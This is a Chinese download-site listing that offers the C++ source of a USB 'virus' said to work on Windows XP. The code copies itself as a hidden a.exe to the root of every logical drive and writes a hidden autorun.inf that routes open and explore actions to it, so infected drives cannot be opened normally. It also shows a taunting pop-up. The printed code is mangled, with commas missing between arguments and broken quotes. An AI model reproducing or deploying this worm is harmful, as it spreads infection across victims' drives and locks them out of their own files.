资源简介
U盘病毒,XP系统有效,其他系统无效。作用就是进不去资源盘而已!!
代码片段和文件信息
#include
char* autoRun = “[autorun]\
\r\nopen=a.exe\
\r\nshell\\open=打开(&O)\
\r\nshell\\open\\Command=a.exe\
\r\nshell\\explore=资源管理器(&X)\
\r\nshell\\explore\\Command=a.exe\
\r\nshellexecute=a.exe“;
void infect(char* pstrFilePath)
{
char strDriveStrings[MAXBYTE] = {0};
DWORD dwDriveCount = GetLogicalDriveStringsA(MAXBYTEstrDriveStrings);
for(int i = 0; i < dwDriveCount; i+=4)
{
char tagetPath[MAX_PATH] = {0};
strncpy(tagetPath&strDriveStrings[i]4);
strcat(tagetPath“a.exe“);
CopyFileA(pstrFilePathtagetPathfalse);
SetFileAttributesA(tagetPathFILE_ATTRIBUTE_HIDDEN);
strncpy(tagetPath&strDriveStrings[i]4);
strcat(tagetPath“autorun.inf“);
HANDLE hFile = CreateFileA(tagetPathGENERIC_WRITE0NULLCREATE_ALWAYSFILE_ATTRIBUTE_HIDDENNULL);
DWORD dwLen = 0;
WriteFile(hFileautoRunstrlen(autoRun)&dwLenNULL);
CloseHandle(hFile);
}
}
int main()
{
MessageBoxA(NULL“吼吼~不好意思,你中了我写的病毒!!!““提示“MB_OK);
char strSelfPath[MAX_PATH] = {0};
GetModuleFileName(NULLstrSelfPathMAX_PATH);
infect(strSelfPath);
return 0;
}
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 1139 2017-12-09 14:33 a.cpp
----------- --------- ---------- ----- ----
1139 1
- 上一篇:基于TMS320F28335的全数字锁相环的设计
- 下一篇:FMC接口连接标准
评论
共有 条评论